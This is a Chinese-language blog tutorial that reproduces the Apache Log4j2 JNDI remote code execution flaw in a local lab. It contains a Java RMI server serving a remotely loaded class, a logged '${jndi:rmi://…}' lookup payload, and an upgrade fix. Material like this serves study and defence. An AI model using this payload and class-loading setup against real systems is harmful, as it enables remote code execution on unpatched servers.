手把手教你复现apache log4j2 漏洞

发布时间:2022-01-16 09:28:10 作者:路人甲 阅读(2311)

前言

因为log4j2是java的日志框架, 所在这边也使用java进行测试,需要注意的是,log4j2的版本从2.0 ~ 2.14.1之间都是有安全漏洞的, 在2.15版本(包含2.15)后就已经修复了这个漏洞;所以我们在复现时只要版本不超过2.15即可;

原因

开源网安研究院注意到,一个 Apache Log4j2 的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码。SourceCheck 产品对此次漏洞可以提供在线和离线升级包来对此协助筛查。

近日经专家团队检测发现,该漏洞只要外部用户输入数据就会被日志记录,即可造成远程代码执行。成功利用该漏洞的攻击者可以在目标设备上远程执行恶意代码。

准备复现

在复现前,需要先准备以下几样东西

  1. nginx:无版本限制
  2. Intellij idea :用来编写jmdi 服务端代码,和测试log日志
  3. log4j 依赖:(maven自动下载)

开整

因为是远程执行漏洞嘛,所以肯定需要用到不同的工程,这里准备了2个项目,一个是jmdi的服务端,另一个是打印log日志的测试类(就是一个简单的main方法)

1、准备第一个项目:jmdi服务端

项目名称为 : Jmdi-rmi-server

先创建一个服务端启动文件

  1. public static void main(String[] args) {
  2. try {
  3. LocateRegistry.createRegistry(1099);
  4. Registry registry = LocateRegistry.getRegistry();
  5. // 本地执行方式
  6. // Reference reference = new Reference("com.rmi.RunObject", "com.rmi.RunObject", null);
  7. // tips:如果是远程执行,需要将`RunObject`编译后的字节码文件放到nginx html访问目录下,再通过如下方式执行程序
  8. Reference reference = new Reference("com.rmi.RunObject",
  9. "com.rmi.RunObject", "http://127.0.0.1:80/"); // 第三个参数是nginx的地址
  10. registry.bind("app", new ReferenceWrapper(reference));
  11. System.out.println("Create app registry on port 1099...");
  12. } catch (Exception e) {
  13. e.printStackTrace();
  14. }
  15. }

除此之外,还要有一个执行的类RunObject.java,这个类有什么作用呢?,当我们打印第二个项目的log日志时,就会执行static静态代码块里面的代码, 是不是很神奇呢?我们拭目以待吧

  1. package com.rmi;
  2. /**
  3. * 将此类的代码编译成class文件后放到nginx的html目录下即可
  4. */
  5. public class RunObject {
  6. static {
  7. for (int i = 0; i < 10; i++) {
  8. System.out.println(String.format("第%d次轮询", i));
  9. }
  10. }
  11. }

2、准备第二个项目:log运行环境

先加上log4j的依赖,版本不小于2.0,不超过2.14.1即可

  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId>
  3. <artifactId>log4j-core</artifactId>
  4. <version>2.13.2</version>
  5. </dependency>

log4j日志配置文件 :log4j2.properties

  1. status=error
  2. name=PropertiesConfig
  3. filters=threshold
  4. filter.threshold.type=ThresholdFilter
  5. filter.threshold.level=debug
  6. appenders=console
  7. appender.console.type=Console
  8. appender.console.name=STDOUT
  9. appender.console.layout.type=PatternLayout
  10. appender.console.layout.pattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
  11. rootLogger.level=debug
  12. rootLogger.appenderRefs=stdout
  13. rootLogger.appenderRef.stdout.ref=STDOUTstatus = error
  14. name=PropertiesConfig
  15. filters=threshold
  16. filter.threshold.type=ThresholdFilter
  17. filter.threshold.level=debug
  18. appenders=console
  19. appender.console.type=Console
  20. appender.console.name=STDOUT
  21. appender.console.layout.type=PatternLayout
  22. appender.console.layout.pattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
  23. rootLogger.level=debug
  24. rootLogger.appenderRefs=stdout
  25. rootLogger.appenderRef.stdout.ref=STDOUT

打印日志的代码,纳尼?这么简单嘛?没错就是这么简单

  1. package com;
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. public class App {
  5. static Logger logger = LogManager.getLogger();
  6. public static void main(String[] args) {
  7. // jdk 1.8 需要加上以下配置
  8. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  9. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  10. String value = "${jndi:rmi://192.168.255.10:1099/app}";
  11. logger.info("123 {}", value);
  12. }
  13. }

3、启动nginx

自行去官网下载一个任意版本的nginx即可,建议使用新版本

4、编译RunObject 并放到nginx中

第一步中的jndi 服务端还有 RunObject.java 文件,先将这个文件进行编译,得到一个RunObject.class文件,将这个文件连同包名放到nginx的html文件夹下,目录为:nginx目录/html,记得要将类的包名创建好文件夹哦,因为我的RunObject是在com.rmi包下的,所以要将class文件放到`nginx目录/html/com/rmi/目录下,后面的2级目录需要自己创建好
在这里插入图片描述

5、万事俱备

好了现在,环境就已经搭建好了,接下来,先启动服务端,运行后会打印以下内容;表示已经启动成功了,服务端因为要接收请求,所以会一直阻塞;
在这里插入图片描述

6、进行打印log4j日志

运行后打印以下日志表示成功,可以看到这边直接执行了服务端RunObject类的静态代码
在这里插入图片描述

修复

要修复非常简单,只需要将mave依赖的log4j版本修改为2.15以上即可

  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId>
  3. <artifactId>log4j-core</artifactId>
  4. <version>2.15.0</version>
  5. </dependency>

修改后在执行会发现,一切正常了
在这里插入图片描述

关键字Java